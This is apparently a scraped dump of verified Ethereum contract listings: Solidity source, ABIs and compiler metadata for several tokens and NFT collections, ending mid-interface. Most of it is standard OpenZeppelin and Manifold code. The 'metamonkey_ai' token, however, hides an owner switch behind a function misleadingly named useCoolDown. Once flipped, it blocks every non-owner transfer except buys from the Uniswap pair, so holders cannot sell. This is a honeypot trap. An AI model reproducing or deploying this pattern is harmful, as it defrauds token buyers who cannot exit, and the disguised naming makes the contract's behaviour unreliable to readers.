externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); } contract metamonkey_ai is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping(address => uint256) private cooldown; mapping (address => bool) private _isExcluded; address[] private _excluded; address private uniswapV2Pair; IUniswapV2Router01 private uniswapRouter01 = IUniswapV2Router01(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000 * 10**6 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; bool enableTrading = true; string private _name = 'Metamonkey AI '; string private _symbol = 'MMAI '; uint8 private _decimals = 18; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function useCoolDown(bool enable) public onlyOwner { enableTrading = enable; } function updateUniPair() public onlyOwner { address getPairAddress = IUniswapV2Factory(uniswapRouter01.factory()).getPair(address(this), uniswapRouter01.WETH()); require(getPairAddress != address(0)); uniswapV2Pair = getPairAddress; } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { if (sender != owner() && recipient != owner()) { if(sender != uniswapV2Pair) { require(enableTrading); require(cooldown[recipient] < block.timestamp); cooldown[recipient] = block.timestamp + (35 seconds); } if(sender == uniswapV2Pair) cooldown[sender] = block.timestamp + (35 seconds); } (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256) { uint256 tFee; if(_tTotal >= 30000000 * (10**6) * (10**18)) { tFee = tAmount.div(100).mul(2); } else { tFee = 0; } uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } uint256 public rSupply; uint256 public tSupply; function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }

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rom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updateUniPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enable","type":"bool"}],"name":"useCoolDown","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.8.1+commit.df193b15

Default

None

ipfs://4458052b5b8c2e07253465eef288b0a4df8305dc11eb968dada013f456e379ac

OceanGate

@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol

0x50a8b2a314c9f80795de6c1563c2e967eb2b9e09

Solidity

// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Burnable.sol) pragma solidity ^0.8.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { _spendAllowance(account, _msgSender(), amount); _burn(account, amount); } } pragma solidity ^0.8.0; contract OceanGate is ERC20, ERC20Burnable, Ownable { uint256 private constant INITIAL_SUPPLY = 1000000000000 * 10**18; constructor() ERC20("OceanGate", "OceanGate") { _mint(msg.sender, INITIAL_SUPPLY); } function distributeTokens(address distributionWallet) external onlyOwner { uint256 supply = balanceOf(msg.sender); require(supply == INITIAL_SUPPLY, "Tokens already distributed"); _transfer(msg.sender, distributionWallet, supply); } }

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v0.8.18+commit.87f61d96

Default

MIT

ipfs://2b4f0c2df5df20e87e119895f458df2d8f03c4583b75e651a6300ae59d13151c

BMNFT

contracts/BMNFT.sol

0xb9d4234f9146b35c4a934e13ffa0ab019c98f96b

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: BMNFT Bidders Editions /// @author: manifold.xyz import "./manifold/ERC1155Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // //////////////////////////////////////////////////////////////////////////////////////// // // // // // // // // // // // // // // // 88888888ba 88b d88 888b 88 88888888888 888888888888 // // // // 88 "8b 888b d888 8888b 88 88 88 // // // // 88 ,8P 88`8b d8'88 88 `8b 88 88 88 // // // // 88aaaaaa8P' 88 `8b d8' 88 88 `8b 88 88aaaaa 88 // // // // 88""""""8b, 88 `8b d8' 88 88 `8b 88 88""""" 88 // // // // 88 `8b 88 `8b d8' 88 88 `8b 88 88 88 // // // // 88 a8P 88 `888' 88 88 `8888 88 88 // // // // 88888888P" 88 `8' 88 88 `888 88 88 // // // // // // // // // // // // // // // //////////////////////////////////////////////////////////////////////////////////////// // // // // // //////////////////////////////////////////////////////////////////////////////////////////////////// contract BMNFT is ERC1155Creator { constructor() ERC1155Creator("BMNFT Bidders Editions", "BMNFT") {} }

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.17+commit.8df45f5f

Default

0x6bf5ed59de0e19999d264746843ff931c0133090

YTR

contracts/YTR.sol

0x7b57f324919895fe28dcd9c4974ac73d85a08b05

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Year of The Rabbit /// @author: manifold.xyz import "./manifold/ERC1155Creator.sol"; ////////////////////////////////////// // // // // // ██  ██ ████████ ██████  // //  ██  ██     ██    ██   ██  // //  ████   ██  ██████   // //  ██   ██  ██   ██  // // ██  ██  ██  ██  // //                 // // // // // // // ////////////////////////////////////// contract YTR is ERC1155Creator { constructor() ERC1155Creator("Year of The Rabbit", "YTR") {} }

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.17+commit.8df45f5f

Default

0x6bf5ed59de0e19999d264746843ff931c0133090

Rokurokobi

Rokurokobi.sol

0xb0a304b58e0a59d47082d99d0d2f10cf02b84b6f

Solidity

/** *Submitted for verification at Etherscan.io on 2023-01-01 */ // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.8.0) (utils/math/Math.sol) pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { enum Rounding { Down, // Toward negative infinity Up, // Toward infinity Zero // Toward zero } /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a == 0 ? 0 : (a - 1) / b + 1; } /** * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) * with further edits by Uniswap Labs also under MIT license. */ function mulDiv( uint256 x, uint256 y, uint256 denominator ) internal pure returns (uint256 result) { unchecked { // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2^256 + prod0. uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(x, y, not(0)) prod0 := mul(x, y) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division. if (prod1 == 0) { return prod0 / denominator; } // Make sure the result is less than 2^256. Also prevents denominator == 0. require(denominator > prod1); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0]. uint256 remainder; assembly { // Compute remainder using mulmod. remainder := mulmod(x, y, denominator) // Subtract 256 bit number from 512 bit number. prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1. // See https://cs.stackexchange.com/q/138556/92363. // Does not overflow because the denominator cannot be zero at this stage in the function. uint256 twos = denominator & (~denominator + 1); assembly { // Divide denominator by twos. denominator := div(denominator, twos) // Divide [prod1 prod0] by twos. prod0 := div(prod0, twos) // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one. twos := add(div(sub(0, twos), twos), 1) } // Shift in bits from prod1 into prod0. prod0 |= prod1 * twos; // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for // four bits. That is, denominator * inv = 1 mod 2^4. uint256 inverse = (3 * denominator) ^ 2; // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works // in modular arithmetic, doubling the correct bits in each step. inverse *= 2 - denominator * inverse; // inverse mod 2^8 inverse *= 2 - denominator * inverse; // inverse mod 2^16 inverse *= 2 - denominator * inverse; // inverse mod 2^32 inverse *= 2 - denominator * inverse; // inverse mod 2^64 inverse *= 2 - denominator * inverse; // inverse mod 2^128 inverse *= 2 - denominator * inverse; // inverse mod 2^256 // Because the division is now exact we can divide by multiplying with the modular inverse of denominator. // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inverse; return result; } } /** * @notice Calculates x * y / denominator with full precision, following the selected rounding direction. */ function mulDiv( uint256 x, uint256 y, uint256 denominator, Rounding rounding ) internal pure returns (uint256) { uint256 result = mulDiv(x, y, denominator); if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) { result += 1; } return result; } /** * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down. * * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11). */ function sqrt(uint256 a) internal pure returns (uint256) { if (a == 0) { return 0; } // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target. // // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`. // // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)` // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))` // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)` // // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit. uint256 result = 1 << (log2(a) >> 1); // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128, // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision // into the expected uint128 result. unchecked { result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; return min(result, a / result); } } /** * @notice Calculates sqrt(a), following the selected rounding direction. */ function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = sqrt(a); return result + (rounding == Rounding.Up && result * result < a ? 1 : 0); } } /** * @dev Return the log in base 2, rounded down, of a positive value. * Returns 0 if given 0. */ function log2(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 128; } if (value >> 64 > 0) { value >>= 64; result += 64; } if (value >> 32 > 0) { value >>= 32; result += 32; } if (value >> 16 > 0) { value >>= 16; result += 16; } if (value >> 8 > 0) { value >>= 8; result += 8; } if (value >> 4 > 0) { value >>= 4; result += 4; } if (value >> 2 > 0) { value >>= 2; result += 2; } if (value >> 1 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 2, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log2(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log2(value); return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0); } } /** * @dev Return the log in base 10, rounded down, of a positive value. * Returns 0 if given 0. */ function log10(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >= 10**64) { value /= 10**64; result += 64; } if (value >= 10**32) { value /= 10**32; result += 32; } if (value >= 10**16) { value /= 10**16; result += 16; } if (value >= 10**8) { value /= 10**8; result += 8; } if (value >= 10**4) { value /= 10**4; result += 4; } if (value >= 10**2) { value /= 10**2; result += 2; } if (value >= 10**1) { result += 1; } } return result; } /** * @dev Return the log in base 10, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log10(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log10(value); return result + (rounding == Rounding.Up && 10**result < value ? 1 : 0); } } /** * @dev Return the log in base 256, rounded down, of a positive value. * Returns 0 if given 0. * * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string. */ function log256(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 16; } if (value >> 64 > 0) { value >>= 64; result += 8; } if (value >> 32 > 0) { value >>= 32; result += 4; } if (value >> 16 > 0) { value >>= 16; result += 2; } if (value >> 8 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 10, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log256(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log256(value); return result + (rounding == Rounding.Up && 1 << (result * 8) < value ? 1 : 0); } } } pragma solidity ^0.8.4; /** * @dev Interface of ERC721A. */ interface IERC721A { /** * The caller must own the token or be an approved operator. */ error ApprovalCallerNotOwnerNorApproved(); /** * The token does not exist. */ error ApprovalQueryForNonexistentToken(); /** * Cannot query the balance for the zero address. */ error BalanceQueryForZeroAddress(); /** * Cannot mint to the zero address. */ error MintToZeroAddress(); /** * The quantity of tokens minted must be more than zero. */ error MintZeroQuantity(); /** * The token does not exist. */ error OwnerQueryForNonexistentToken(); /** * The caller must own the token or be an approved operator. */ error TransferCallerNotOwnerNorApproved(); /** * The token must be owned by `from`. */ error TransferFromIncorrectOwner(); /** * Cannot safely transfer to a contract that does not implement the * ERC721Receiver interface. */ error TransferToNonERC721ReceiverImplementer(); /** * Cannot transfer to the zero address. */ error TransferToZeroAddress(); /** * The token does not exist. */ error URIQueryForNonexistentToken(); /** * The `quantity` minted with ERC2309 exceeds the safety limit. */ error MintERC2309QuantityExceedsLimit(); /** * The `extraData` cannot be set on an unintialized ownership slot. */ error OwnershipNotInitializedForExtraData(); // ============================================================= // STRUCTS // ============================================================= struct TokenOwnership { // The address of the owner. address addr; // Stores the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; // Arbitrary data similar to `startTimestamp` that can be set via {_extraData}. uint24 extraData; } // ============================================================= // TOKEN COUNTERS // ============================================================= /** * @dev Returns the total number of tokens in existence. * Burned tokens will reduce the count. * To get the total number of tokens minted, please see {_totalMinted}. */ function totalSupply() external view returns (uint256); // ============================================================= // IERC165 // ============================================================= /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified) * to learn more about how these ids are created. * * This function call must use less than 30000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); // ============================================================= // IERC721 // ============================================================= /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables * (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in `owner`'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, * checking first that contract recipients are aware of the ERC721 protocol * to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move * this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external payable; /** * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external payable; /** * @dev Transfers `tokenId` from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} * whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token * by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external payable; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the * zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external payable; /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} * for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll}. */ function isApprovedForAll(address owner, address operator) external view returns (bool); // ============================================================= // IERC721Metadata // ============================================================= /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); // ============================================================= // IERC2309 // ============================================================= /** * @dev Emitted when 